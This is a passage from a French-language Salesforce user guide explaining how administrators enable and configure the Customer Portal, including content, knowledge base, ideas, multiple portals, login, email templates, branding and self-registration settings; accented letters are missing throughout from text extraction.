et l'utilisation de rgles de rponse automatique, reportez-vous Diffrences entre les rgles de rponse automatique
et les alertes de workflow la page 632.
6.
7.
8.
9.

Configurez l'accs des utilisateurs au portail.

Octroi de l'accs aux objets aux utilisateurs du portail client haut volume.
Activez la connexion chaque portail Client.
Ajoutez un lien sur le site Web de votre organisation vers le portail Client.
Les utilisateurs peuvent accder votre portail Client une fois que vous avez copi l'URL de connexion de ses paramtres
et que vous l'avez colle dans la page HTML de votre site Web. Pour plus d'informations, reportez-vous Activation de
la connexion et des paramtres du portail Client la page 1293.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1286

10. Permettez aux contacts d'utiliser votre portail.

Remarque:

Contactez salesforce.com au sujet de l'activation d'un portail Client pour votre entreprise.
La connexion unique l'aide de SAML n'est pas active pour les portails.

Voir aussi :
Portail Client - Limites de configuration
Guide de configuration de l'administrateur Guide de mise en uvre du portail client Salesforce
Cration de plusieurs portails Clients

Activation de votre portail Client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer le portail Client :

Personnaliser l'application

Pour activer le portail client Salesforce.com :

1.
2.
3.
4.
5.

Cliquez sur Configuration Personnaliser Portail Client Paramtres.

Cliquez sur Modifier.
Slectionnez Activer le portail client.
Cliquez sur Enregistrer.
Continuez de configurer le portail.

Conseils d'activation du portail client

Tenez compte des points suivants lors de l'activation du portail client :

Aprs avoir activ le portail client, vous pouvez crer plusieurs portails clients afin de rpondre aux divers besoins
professionnels de vos clients.
Ces lments deviennent disponibles lorsque vous activez le portail client :
-

Les profils Utilisateur du portail client haut volume, Responsable du portail client et Utilisateur du portail client, si
vous achetez les licences utilisateur respectives.
Boutons Activer l'utilisateur du portail client et Afficher l'utilisateur du portail client dans les enregistrements de
contact et de compte personnel.
Groupes Tous les utilisateurs du portail client et Tous les utilisateurs internes, et catgorie de rgles de partage Rles
et subordonns internes.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1287

Une fois une portail client activ, vous ne pouvez pas le dsactiver. Toutefois, vous pouvez empcher les utilisateurs de se
connecter. Reportez-vous Activation de la connexion et des paramtres du portail Client la page 1293.

Voir aussi :
Configuration du portail Client
Activation de Salesforce CRM Content dans le portail client
Gestion des utilisateurs du portail Client
Activation du portail Client pour les constacts et les comptes personnels

Activation de Salesforce CRM Content dans le portail client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer et mettre jour le portail Client :

Personnaliser l'application

Pour crer et modifier des profils :

Grer les utilisateurs

Pour grer les utilisateurs du portail Client :

Modifier les utilisateurs libre-service

Pour crer des autorisations Salesforce CRM Content sur

l'espace de travail :

Grer Salesforce CRM Content OU

Grer les autorisations de contenu

Pour ajouter des utilisateurs un espace de travail Salesforce Grer Salesforce CRM Content
CRM Content :
OU
Grer l'espace de travail doit tre coch dans votre

dfinition de l'autorisation sur l'espace de travail

Salesforce CRM Content est disponible dans le portail client. Deux niveaux d'accs Salesforce CRM Content peuvent tre
accords aux utilisateurs du portail client :

Les utilisateurs du portail sans licence de fonctionnalit Salesforce CRM Content peuvent tlcharger, valuer, commenter
et s'abonner au contenu s'ils disposent de l'autorisation pour consulter le contenu des portails dans leur profil. Ils ne peuvent
pas consulter des donnes potentiellement sensibles telles que des noms d'utilisateur et l'historique des tlchargements,
des versions et des abonns. La fonctionnalit de livraison de contenu n'est pas disponible pour les utilisateurs du portail.
Les utilisateurs de portail disposant d'une licence de fonctionnalit Salesforce CRM Content peuvent accder toutes les
fonctions Salesforce CRM Content accordes par leurs autorisations sur l'espace de travail, y compris contribuer au contenu,
au dplacement et au partage de contenu parmi les espaces de travail ainsi qu' la suppression de contenu. Ils peuvent aussi
consulter des rapports Salesforce CRM Content. La fonctionnalit de livraison de contenu n'est pas disponible pour les
utilisateurs du portail.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1288

Activer Salesforce CRM Content pour des utilisateurs sans licence

Une fois que vous avez activ votre portail client, procdez comme suit pour activer Salesforce CRM Content sur vos portails.
Utilisez ces tapes si vous n'avez pas achet de licence de fonctionnalit Salesforce CRM Content pour vos utilisateurs de
portail.
1. Mettez jour les profils du portail Client :
a. Clonez les profils Utilisateur du portail client et/ou Responsable du portail client afin d'inclure l'autorisation d'utilisateur
Afficher le contenu des portails.
b. Dans les profils clons, modifiez la visibilit des onglets Espaces de travail, Contenu et Abonnements afin qu'ils passent
d'Onglet cach Valeur par dfaut active.
c. Attribuez les profils clons vos utilisateurs du Portail client.
2. Dterminez les privilges dont disposeront vos utilisateurs de portail dans chaque espace de travail Salesforce CRM Content
en crant une ou plusieurs autorisations sur les espaces de travail.
Remarque: Une autorisation sur un espace de travail ne peut accorder que les privilges qu'une licence de
fonctionnalit ou un profil autorisent. Par exemple, mme si Baliser le contenu est une option d'autorisation
sur l'espace de travail, le fait de la slectionner ne permet pas des utilisateurs ne disposant pas d'une licence de
fonctionnalit Salesforce CRM Content de baliser du contenu.
3. Dterminez les espaces de travail auxquels vous souhaitez que vos utilisateurs de portail aient accs. Vrifiez que le contenu
confidentiel n'est pas disponible dans ces espaces de travail.
4. Ajoutez des utilisateurs aux espaces de travail. Les utilisateurs de portail disposant du profil Utilisateur du portail client ou
d'un clone de ce profil ne peuvent tre ajouts un espace de travail que dans le cadre d'un groupe public. Les utilisateurs
de portail disposant du profil Responsable du portail client ou d'un clone de ce profil peuvent tre ajouts individuellement
un espace de travail.
5. Ajoutez les onglets Salesforce CRM Content chaque Portail client.
Remarque: L'onglet Documents ne fait pas partie de Salesforce CRM Content.

Activer Salesforce CRM Content pour des utilisateurs disposant d'une licence
Une fois que vous avez activ votre portail client, procdez comme suit pour activer Salesforce CRM Content sur vos portails.
Effectuez ces oprations si vous avez achet des licences de fonction Salesforce CRM Content pour vos utilisateurs de portail.
1. Mettez jour les profils du portail Client :
a. Vous pouvez galement cloner les profils Utilisateur de portail client et/ou Responsable de portail client pour inclure
l'autorisation d'utilisateur Crer des espaces de travail si vous souhaitez autoriser les utilisateurs de portail crer et
administrer de nouveaux espaces de travail.
b. Dans vos profils Portail client standard ou clons, modifiez la visibilit des onglets Espaces de travail, Contenu et
Abonnements afin qu'ils changent de Onglet cach Valeur par dfaut active.
c. Attribuez les profils clons vos utilisateurs du Portail client selon les besoins.
2. Cochez la case Utilisateur de Salesforce CRM Content dans la page Dtails de l'utilisateur pour chaque utilisateur
du Portail client.
3. Dterminez les privilges dont disposeront vos utilisateurs de portail dans chaque espace de travail Salesforce CRM Content
en crant une ou plusieurs autorisations sur les espaces de travail.
Remarque: Une autorisation sur un espace de travail ne peut accorder que les privilges qu'une licence de
fonctionnalit ou un profil autorisent. Par exemple, mme si Baliser le contenu est une option d'autorisation

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1289

sur l'espace de travail, le fait de la slectionner ne permet pas des utilisateurs ne disposant pas d'une licence de
fonctionnalit Salesforce CRM Content de baliser du contenu.
4. Dterminez les espaces de travail auxquels vous souhaitez que vos utilisateurs de portail aient accs. Vrifiez que le contenu
confidentiel n'est pas disponible dans ces espaces de travail.
5. Ajoutez des utilisateurs aux espaces de travail. Les utilisateurs de portail disposant du profil Utilisateur du portail client ou
d'un clone de ce profil ne peuvent tre ajouts un espace de travail que dans le cadre d'un groupe public. Les utilisateurs
de portail disposant du profil Responsable du portail client ou d'un clone de ce profil peuvent tre ajouts individuellement
un espace de travail.
6. Ajoutez les onglets Salesforce CRM Content chaque Portail client.
Remarque: L'onglet Documents ne fait pas partie de Salesforce CRM Content.

Voir aussi :
Configuration du portail Client
Activation de votre portail Client
Prsentation de Salesforce CRM Content

Activation de la base de connaissances Salesforce Knowledge dans le

portail client
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer et mettre jour le portail Client :

Personnaliser l'application

Pour crer et modifier des profils :

Grer les utilisateurs

Pour grer les utilisateurs du portail Client :

Modifier les utilisateurs libre-service

Pour afficher les articles de la base de connaissances Salesforce Afficher les articles
Knowledge :

Vous pouvez utiliser le portail client pour fournir vos clients l'accs aux articles de la base de connaissances Salesforce
Knowledge. Les utilisateurs du portail peuvent afficher et noter les articles mais ils ne peuvent pas en crer ni les modifier.
Lorsque vous avez configur la base de connaissances Salesforce Knowledge dans votre organisation et activ votre portail
client, suivez la procdure ci-dessous pour activer la base de connaissances Salesforce Knowledge dans vos portails.
1. Mettez jour les profils du portail Client :
a. Clonez les profils Utilisateur du portail client et/ou Responsable du portail client afin d'inclure l'autorisation d'utilisateur
Afficher les articles .

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1290

Remarque: Les utilisateurs du Portail client haut volume n'ont pas accs la base de connaissances Salesforce
Knowledge.
b. Dans les rpofils clons, assurez-vous que la visibilit de l'onglet Articles est dfini sur Valeur par dfaut active.
2. En bas de la page de dtails du portail client, cliquez sur Modifier les profils et activez le nouveau profil.
3. Attribuez les profils clons vos utilisateurs du portail client :
a. Pour crer un utilisateur du portail client, cliquez sur Activer l'utilisateur du portail client dans la page de dtails du
contact. Pour mettre jour un utilisateur existant, cliquez sur Afficher l'utilisateur du portail client dans la page de
dtails du contact.
b. Pour un nouvel utilisateur, slectionnez le profil clon dan le menu droulant Profil. Pour un utilisateur existant, cliquez
sur Modifier puis slectionnez le profil.
c. Cliquez sur Enregistrer.
4. Ajoutez l'onglet Articles chaque portail client.
5. Informez les utilisateurs qui crent des articles de la ncessit de slectionner le portail client comme option de canal lors
de la cration ou de la modification d'un article. Si le canal portail client n'est pas slectionn, l'article ne s'affiche pas dans
le portail.
6. Pour permettre aux utilisateurs de rechercher des articles partir de l'onglet Accueil, ajoutez le composant Recherche
d'articles la prsentation de la page d'accueil. Assurez-vous d'attribuer la prsentation aux profils du portail client.

Activation de Salesforce CRM Ideas dans le portail client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer et mettre jour le portail Client :

Personnaliser l'application

Pour crer et modifier des profils :

Grer les utilisateurs

Pour crer une communaut Salesforce CRM Ideas :

Personnaliser l'application

Salesforce CRM Ideas est disponible dans le portail client.

Une fois que vous avez configur votre portail client, procdez comme suit pour activer Salesforce CRM Ideas sur votre portail.
1. Crez une communaut Salesforce CRM Ideas active et configure pour s'afficher dans le portail. Pour plus d'informations,
reportez-vous Cration et modification de communauts la page 1477.
2. Ajoutez les onglets Salesforce CRM Ideas votre Portail client. Pour plus d'informations, reportez-vous Personnalisation
des onglets de votre portail Client la page 1304.
3. Si votre entreprise possde la licence du portail Ideas Only, masquez l'onglet Rapports dans le portail client. Sinon, vos
utilisateurs du portail client recevront un message Privilges insuffisants lorsqu'il cliqueront sur l'onglet Rapports. Pour
plus d'informations sur le masquage des onglets, reportez-vous Personnalisation des onglets de votre portail Client la
page 1304.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1291

Cration de plusieurs portails Clients

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer plusieurs portails Clients :

Personnaliser l'application

Aprs avoir activ le portail Client Salesforce.com, vous pouvez crer plusieurs portails Clients afin de rpondre aux divers
besoins professionnels de vos clients.
Pour crer plusieurs portails Client :
1. Cliquez sur Configuration Personnaliser Portail Client Paramtres.
2. Cliquez sur Nouveau.
3. Suivez les mmes tapes que celles ralises pour la configuration du premier portail Client de votre entreprise. Pour plus
de dtails, reportez-vous Configuration du portail Client la page 1284.
Remarque: Pour plus d'informations sur le nombre de portails Clients que vous pouvez activer pour votre entreprise,
contactez salesforce.com.
Avant de crer plusieurs portails Clients pour votre entreprise, consultez les meilleures pratiques et les conseils suivants
concernant la mise en uvre.
Conseils en matire de mise en uvre

Les utilisateurs du portail ne peuvent se connecter qu'aux portails Clients attribus leur profil. Pour attribuer un profil
un portail Client, slectionnez le nom d'un portail dans la page Configuration du portail Client, cliquez sur Modifier les
profils dans la section relative aux profils attribus et cochez la case Actif en regard du profil que vous souhaitez attribuer
au portail.
Un utilisateur du portail peut accder tous les portails Clients attribus son profil grce un nom d'utilisateur ou un
mot de passe.
Vous pouvez voir le nombre d'utilisateurs actifs associs chaque profil attribu un portail client dans le champ
Utilisateurs de la section relative aux profils attribus.

L'URL de connexion de chaque portail Client que vous crez contient un identifiant unique, tel que
portalId=060D00000000Q1F. L'identifiant unique dtermine le portail particulier auquel un utilisateur peut accder. Si
un utilisateur a accs une URL de connexion qui ne prsente aucun identifiant unique, il est automatiquement dirig vers
l'URL de connexion du premier portail Client que vous avez cr. Notez que les utilisateurs de portail peuvent se connecter
un portail client uniquement l'aide de la page de connexion au portail, pas via la page de connexion Salesforce.com.
Les paramtres des lments suivants s'appliquent la fois votre entreprise et vos portails Clients :
-

Vues Listes
Prsentations de recherche
Rgle d'attribution des requtes
Alertes de workflow

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1292

Les meilleures pratiques

Comme vous pouvez personnaliser de manire unique les polices, les couleurs, les modles d'e-mail et le message de
connexion de chaque portail Client que vous crez, vous pouvez crer un portail Client pour chaque niveau de produit et
de service client pris en charge par votre entreprise. Par exemple, si votre entreprise possde trois niveaux de support client
(or, argent et bronze), vous pouvez crer un portail Client unique pour chacun d'entre eux.
Remarque: Les codes JavaScript et CSS sont automatiquement supprims dans les fichiers HTML utiliss comme
messages de connexion au portail.

Vous pouvez standardiser les modles de communication envoys aux utilisateurs de vos portails Clients en cliquant sur le
lien Dfinir les modles d'e-mail par dfaut pour tous les portails Client dans la section Outils de la page Configuration
duportail Client. Ces paramtres dterminent les modles d'e-mail utiliser lors de l'envoi de notifications par e-mail,
comme un nouveau commentaire de requte ou une rinitialisation du mot de passe, aux utilisateurs du portail dont les
profils sont associs plusieurs portails Client.
Par dfaut, les exemples de modle sont automatiquement slectionns dans les champs de recherche Modle de nouvel
utilisateur, Modle de nouveau mot de passe et Modle de mot de passe perdu. Cependant, les
exemples de modle ne sont pas slectionns par dfaut dans les champs de recherche Nouveau modle de commentaire
et Remplacer le responsable par le modle des utilisateurs du portail. moins que vous ne
slectionniez des modles pour ces champs, les utilisateurs dont les profils sont associs plusieurs portails Client ne
recevront pas de notifications par e-mail lorsque de nouveaux commentaires seront ajouts leurs requtes ou lorsqu'ils
deviendront le nouveau responsable d'un enregistrement dans le portail Client. Pour crer vos modles ou modifier les
exemples, reportez-vous Gestion des modles de message la page 76. Les modles d'e-mail doivent avoir l'attribut
Disponible pour tre envoys aux utilisateurs du portail.
Conseil: tant donn que les modles d'e-mail par dfaut sont envoys aux utilisateurs de plusieurs portails Clients,
nous vous conseillons de crer des modles d'e-mail par dfaut ne contenant pas d'lments d'identification propres
un portail.

Vous ne pouvez pas supprimer un portail Client, mais vous pouvez empcher les utilisateurs de se connecter un portail
en dslectionnant la case Connexion active. Pour plus d'informations, reportez-vous Activation de la connexion
et des paramtres du portail Client la page 1293.
Vous pouvez crer plusieurs portails Clients qui affichent diffrents onglets pour des utilisateurs ayant le mme profil, du
moment que le profil a accs tous les objets qui apparaissent dans l'onglet. Pour plus d'informations, reportez-vous
Cration et modification de profils la page 113 et Personnalisation des onglets de votre portail client la page 1304.

Voir aussi :
Configuration du portail Client
Gestion des utilisateurs du portail Client
Personnalisation des onglets de votre portail Client
Guide de configuration de l'administrateur Guide de mise en uvre du portail client Salesforce

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1293

Activation de la connexion et des paramtres du portail Client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer la connexion et les paramtres du portail Client : Personnaliser l'application

1. Cliquez sur Configuration Personnaliser Portail Client Paramtres.

2. Cliquez sur Modifier en regard du nom du portail client Salesforce.com que vous souhaitez personnaliser.
3. Configurez les options suivantes :
Paramtre

Description

Nom

Nom du portail Client tel qu'il apparat dans les pages de

dtails et de modification du portail, ainsi que dans la page
de configuration du portail Client. Le nom du portail Client
n'apparat pas dans les pages du portail. Il apparat en
revanche dans la barre de titre du navigateur.
Le nom du portail doit tre unique pour votre organisation
et pas dj utilis dans le portail client ou le portail
partenaire. En outre, une erreur peut se produire si vous
nommez un portail client portail partenaire ou
inversement.

Description

Description du portail Client tel qu'il apparat dans les pages

de dtails et de modification du portail. La description du
portail Client n'apparat pas sur le portail.

Connexion active

Permet aux utilisateurs de se connecter au portail Client.

Nous vous conseillons de ne pas cocher cette case tant que
vous n'avez pas effectu les tapes dcrites dans
Configuration du portail Client.

Administrateur

Cliquez sur l'icne de recherche ( ) pour slectionner

l'administrateur par dfaut de votre portail Client. Toutes
les notifications par e-mail concernant les utilisateurs
s'inscrivant automatiquement votre portail client seront
transmises cet utilisateur Salesforce.com.
Les notifications comprennent des informations relatives
aux erreurs d'enregistrement et tout autre problme que
peuvent rencontrer les clients inscrits automatiquement,
comme la saisie accidentelle d'adresses e-mail en double, la
cration d'enregistrements de contact en double et le

Portail client

Paramtre

Guide de l'utilisateur | Configuration du portail Client | 1294

Description
dpassement du nombre limite de licences utilisateur autoris
dans votre entreprise.
Lorsque vous choisissez l'administrateur de votre portail
client, vous ne pouvez slectionner que des utilisateurs
possdant l'autorisation Modifier les utilisateurs libre-service.
Par ailleurs, il est impossible de dsactiver l'utilisateur dsign
comme administrateur du portail. Pour plus d'informations,
reportez-vous Dsactivation des utilisateurs la page 97.

Paramtres par dfaut du portail

Paramtre

Description

URL de connexion

URL de la page Web affiche lorsque les utilisateurs se

connectent votre portail Client.
Vous pouvez cliquer sur cette URL pour vous connecter
votre portail et y effectuer certaines oprations.
Saisissez cette URL sur votre site Web de manire ce que
les utilisateurs puissent accder la page de connexion de
votre portail Client.
L'URL de connexion de chaque portail Client que vous crez
contient un identifiant unique, tel que
portalId=060D00000000Q1F. L'identifiant unique
dtermine le portail particulier auquel un utilisateur peut
accder. Si un utilisateur a accs une URL de connexion
qui ne prsente aucun identifiant unique, il est
automatiquement dirig vers l'URL de connexion du premier
portail Client que vous avez cr. Notez que les utilisateurs
de portail peuvent se connecter un portail client
uniquement l'aide de la page de connexion au portail, pas
via la page de connexion Salesforce.com.

URL de dconnexion

URL de la page Web qui apparat lorsque les utilisateurs se

dconnectent du portail Client (par exemple,
http://www.acme.com ). Si une URL de dconnexion
n'est pas spcifie, les utilisateurs du portail reviennent la
page de connexion lorsqu'ils se dconnectent.

Catgorie suprieure du portail

Catgorie suprieure accessible par les clients dans le portail

Client. Les clients peuvent voir toutes les solutions marques
comme Visible in Self-Service Portal dans cette
catgorie et ses sous-catgories.
Ce champ est disponible seulement si vous avez activ la
navigation dans les solutions. Reportez-vous
Personnalisation des paramtres de solution la page 618.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1295

Paramtres par dfaut du portail

Paramtre

Description

Activer une requte clture automatique Permet aux utilisateurs de clore des requtes dans le portail
partir des suggestions de solutions
Client directement partir des suggestions de solutions. Par

exemple, lorsqu'un utilisateur affiche une suggestion de

solution qui l'aide rsoudre une requte, il peut cliquer sur
Oui, veuillez clturer ma requte si ce paramtre est activ.
Pour plus d'informations sur les suggestions de solutions,
reportez-vous Prsentation des suggestions de solutions
la page 1932.
Afficher la confirmation d'action

Permet aux utilisateurs de visualiser des messages de

confirmation aprs avoir effectu une action sur le portail
Client. Par exemple, aprs avoir cr une requte sur votre
portail Client, l'utilisateur visualise le message suivant : La
requte a t soumise (si le paramtre a t activ).
Les messages de confirmation peuvent aider les utilisateurs
bien comprendre les actions qu'ils ont effectues sur votre
portail Client.

Paramtres de notification de message

Paramtre

Description

partir de l'adresse e-mail

Adresse e-mail partir de laquelle tous les modles de

communication du portail Client sont envoys (par exemple,
support@acme.com ). Salesforce.com envoie les e-mails
automatiquement, mais ils s'affichent pour les utilisateurs
du portail comme s'ils taient envoys depuis cette adresse
e-mail. Si un utilisateur du portail rpond un modle de
communication, la rponse est envoye cette adresse.

partir de l'adresse lectronique

Nom associ au champ Adresse e-mail De (par exemple,

Support client Acme ).

Modle de nouvel utilisateur

Modle d'e-mail utilis pour l'envoi d'un nom d'utilisateur

et d'un mot de passe initial tous les nouveaux utilisateurs
et tous les utilisateurs inscrits automatiquement du portail
Client. Par dfaut, un exemple de modle est
automatiquement slectionn. Pour crer votre propre
modle ou modifier l'exemple, reportez-vous Gestion des
modles de message la page 76. Ce modle doit avoir
l'attribut Disponible.

Modle de nouveau mot de passe

Modle de message utilis pour l'envoi d'un nouveau mot

de passe aux utilisateurs actuels du portail Client lorsque
vous rinitialisez leur mot de passe. Par dfaut, un exemple
de modle est automatiquement slectionn. Pour crer votre

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1296

Paramtres de notification de message

Paramtre

Description
propre modle ou modifier l'exemple, reportez-vous
Gestion des modles de message la page 76. Ce modle
doit avoir l'attribut Disponible.

Modle de mot de passe perdu

Modle d'e-mail utilis pour envoyer un nouveau mot de

passe aux utilisateurs actuels du portail Client lorsqu'ils
rinitialisent leur propre mot de passe en cliquant sur Vous
avez oubli votre mot de passe ? dans la page de connexion
du portail Client. Par dfaut, un exemple de modle est
automatiquement slectionn. Pour crer votre propre
modle ou modifier l'exemple, reportez-vous Gestion des
modles de message la page 76. Ce modle doit avoir
l'attribut Disponible.

Nouveau modle de commentaire

Modle de message utilis pour l'envoi d'une notification

aux utilisateurs du portail Client lorsqu'un commentaire
public est ajout l'une de leurs requtes. Pour crer votre
propre modle, reportez-vous Gestion des modles d'e-mail
la page 76. Ce modle doit avoir l'attribut Disponible.

Remplacer le responsable par le modle des Modle d'e-mail utilis pour l'envoi d'une notification un
utilisateurs du portail
utilisateur du portail Client lorsqu'il devient le nouveau

responsable d'un enregistrement du portail. Pour crer votre

propre modle, reportez-vous Gestion des modles d'e-mail
la page 76. Ce modle doit avoir l'attribut Disponible.

Remarque: Vous pouvez standardiser les modles de communication envoys aux utilisateurs de vos portails Clients
en cliquant sur le lien Dfinir les modles d'e-mail par dfaut pour tous les portails Client dans la section Outils
de la page Configuration duportail Client. Pour plus d'informations, reportez-vous Cration de plusieurs portails
Clients la page 1291.
Conseil: Si vous envisagez d'utiliser le mme modle de communication pour diffrents objets, comme Remplacer
le responsable par le modle des utilisateurs du portail, nous vous conseillons d'inclure, dans le modle, les champs
texte et de fusion qui conviennent aux objets. Par exemple, si votre entreprise dispose d'un objet personnalis
Garantie et d'un objet personnalis Formation, et que vous souhaitez utiliser Remplacer le responsable par le modle
des utilisateurs du portail pour ces objets, les champs texte et de fusion du modle doivent afficher : Un nouvel
enregistrement vous a t affect. ID : {!Training.ID}{!Warranty.Id}." Lorsque le modle est envoy, seuls les
champs de fusion pertinents apparaissent.
Look and Feel
Paramtre

Description

En-tte

Fichier texte ou HTML vous permettant d'inclure

l'identification de la marque de votre entreprise dans l'
en-tte de votre portail Client. Cliquez sur l'icne de

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1297

Look and Feel

Paramtre

Description
recherche ( ) pour choisir un fichier tlcharg vers un
dossier accessible au public dans l'onglet Documents.
Les fichiers que vous incluez dans les champs de recherche
En-tte et Pied de page peuvent atteindre, eux seuls,
une taille maximale de 10 Ko.
Nous vous conseillons de ne pas ajouter d'en-tte, ni de logo
votre portail car il est possible que leur affichage simultan
ne soit pas satisfaisant.
Vous pouvez positionner le lien Dconnexion n'importe o
dans l'en-tte grce la balise HTML : <a
href="/secur/logout.jsp">Dconnexion</a>.

Pied de page

Fichier texte ou HTML vous permettant d'inclure

l'identification de la marque de votre entreprise dans le pied
de page de votre portail Client. Cliquez sur l'icne de
recherche ( ) pour choisir un fichier tlcharg vers un
dossier accessible au public dans l'onglet Documents.
Les fichiers que vous incluez dans les champs de recherche
En-tte et Pied de page peuvent atteindre, eux seuls,
une taille maximale de 10 Ko.

Logo

Fichier image vous permettant d'inclure l'identification de

la marque de votre entreprise dans l'en-tte situ dans la
partie suprieure gauche de votre portail Client. Cliquez sur
l'icne de recherche ( ) pour choisir un fichier tlcharg
vers un dossier accessible au public dans l'onglet Documents
et signal comme tant une Image accessible en
externe.
La taille du fichier que vous incluez dans le champ de
recherche Logo peut atteindre 20 Ko.
Nous vous conseillons de ne pas ajouter d'en-tte, ni de logo
votre portail car il est possible que leur affichage simultan
ne soit pas satisfaisant.

Message de connexion

Fichier texte ou HTML vous permettant d'inclure

l'identification de la marque de votre entreprise dans l'en-tte
de la page de connexion, de la page Vous avez oubli votre
mot de passe et de la page Modifier le mot de passe de votre
portail Client. Cliquez sur l'icne de recherche ( ) pour
choisir un fichier tlcharg vers un dossier accessible au
public dans l'onglet Documents.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1298

Look and Feel

Paramtre

Description
La taille du fichier que vous incluez dans le champ de
recherche Message de connexion peut atteindre 2 Ko.
Remarque: Les codes JavaScript et CSS sont
automatiquement supprims dans les fichiers HTML
utiliss comme messages de connexion au portail.

Paramtres d'auto-inscription
Paramtre

Description

Auto-inscription active

Permet aux contacts existants de s'inscrire eux-mmes pour

accder votre portail Client.
Lorsque vous cochez cette case et que vous ajoutez la case
Autoriser l'auto-inscription au niveau du
portail Client aux prsentations de page des contacts,

les enregistrements de ces contacts pour lesquels la case

Autoriser l'auto-inscription au niveau du
portail Client est coche peuvent visualiser une zone

d'auto-inscription sur la page Connexion de votre portail

Client. Dans la zone d'inscription automatique, les
utilisateurs peuvent entrer leur adresse e-mail et cliquer sur
Envoyer pour recevoir un nom d'utilisateur et un mot de
passe automatiquement attribus afin de se connecter votre
portail Client. Les autres notifications par e-mail envoyes
aux utilisateurs au sujet de leur inscription sont les suivantes :

Utilisateur existant, notification partir de laquelle

l'utilisateur peut entrer une autre adresse e-mail ou cliquer
sur le lien Vous avez oubli votre mot de passe ? pour
rcuprer son mot de passe.
Nouvel utilisateur, qui informe l'utilisateur que l'adresse
e-mail envoye ne correspond pas un contact existant
de votre entreprise. Si un administrateur a mis en uvre
l'une des fonctions Web vers requte ou Web vers piste
pour saisir de nouvelles informations utilisateur,
l'utilisateur peut alors cliquer sur un lien pour entrer ses
informations dans le formulaire appropri.
Erreur interne, qui informe l'utilisateur qu'une erreur
s'est produite lors du processus d'auto-inscription et que
l'administrateur de votre portail en a t inform.
Utilisateur refus, qui informe l'utilisateur qu'il ne peut
pas s'inscrire automatiquement votre portail Client.
Cette notification est envoye quand une adresse e-mail

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1299

Paramtres d'auto-inscription
Paramtre

Description
envoye correspond un contact dont la case Autoriser
l'auto-inscription au niveau du portail
Client n'est pas coche. Elle est galement envoye

lorsqu'une adresse e-mail envoye ne correspond aucun

contact, et que votre administrateur n'a pas paramtr la
fonction Web vers requte ou Web vers piste pour saisir
de nouvelles informations utilisateur.
Assurez-vous que tous les champs personnaliss obligatoires
sur les utilisateurs contiennent des valeurs par dfaut.
Autrement, les utilisateurs s'inscrivant automatiquement
votre portail Client recevront un message d'erreur.
Notez que des utilisateurs d'un compte personnel ne peuvent
pas s'enregistrer automatiquement votre portail Client. Si
des utilisateurs d'un compte personnel s'enregistrent
automatiquement votre portail Client, ils reoivent une
notification d'e-mail qui leur donne des instructions pour
prendre contact avec l'administrateur du portail.
Nouvelle URL de formulaire utilisateur

Vous permet de spcifier l'URL d'un formulaire Web vers

piste ou Web vers requte pour les utilisateurs s'inscrivant
automatiquement votre portail Client.
L'URL de ce formulaire est fournie par le biais du modle
slectionn dans le champ Modle d'erreur
d'enregistrement aux utilisateurs inscrits
automatiquement et ne possdant pas d'enregistrement de
contact, de sorte que leurs informations puissent tre saisies
et converties en contact.
Pour plus d'informations sur la configuration de la fonction
Web vers piste et Web vers requte, reportez-vous Saisie
de pistes Web la page 590 et Saisie de requtes Web la
page 602.

Modle d'erreur d'enregistrement

Il s'agit du modle d'e-mail envoy aux utilisateurs

s'inscrivant automatiquement votre portail Client, mais
qui rencontrent une erreur d'enregistrement ou doivent
remplir un formulaire Web vers requte ou Web vers piste
pour s'inscrire votre portail. Par dfaut, un exemple de
modle est automatiquement slectionn. Pour crer votre
propre modle ou modifier l'exemple, reportez-vous
Gestion des modles d'e-mail la page 76. Ce modle doit
avoir l'attribut Disponible.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1300

Paramtres d'auto-inscription
Paramtre

Description
Les champs Adresse e-mail d'expdition et Nom
de l'expditeur des paramtres du portail Client
identifient l'expditeur du modle.

Nouvelle licence utilisateur par dfaut

Cliquez sur l'icne de recherche ( ) afin de slectionner

une licence utilisateur de portail par dfaut pour les
utilisateurs s'inscrivant automatiquement votre portail
Client.

Nouveau rle de l'utilisateur par dfaut

Cliquez sur l'icne de recherche ( ) pour slectionner un

rle de portail par dfaut pour les utilisateurs s'inscrivant
automatiquement votre portail Client.

Nouveau profil utilisateur par dfaut

Cliquez sur l'icne de recherche ( ) pour slectionner un

profil de portail par dfaut pour les utilisateurs s'inscrivant
automatiquement votre portail Client.
Vous ne pouvez pas supprimer le profil slectionn comme
profil de portail par dfaut.

4. Cliquez sur Enregistrer pour sauvegarder les paramtres de votre portail Client.

Voir aussi :
Configuration du portail Client

Personnalisation des polices et des couleurs de votre portail Client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les polices et les couleurs du portail Client :

Personnaliser l'application

Vous pouvez personnaliser les polices et les couleurs du portail Client Salesforce.com pour qu'il reflte la marque de votre
socit. Les polices et couleurs de votre portail sont spcifies dans un portail appel Modle de couleur. Slectionnez un
modle de couleur prdfini et personnalisez-le ventuellement pour qu'il corresponde mieux l'image de votre marque. Vous
pouvez cliquer sur le lien Voir des exemples pour consulter tous les attributs de modle que vous pouvez personnaliser.
1. Cliquez sur Configuration Personnalisation Portail Client Paramtres.
2. Slectionnez le nom de votre portail Client.
3. Cliquez sur Modifier les couleurs et polices du portail.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1301

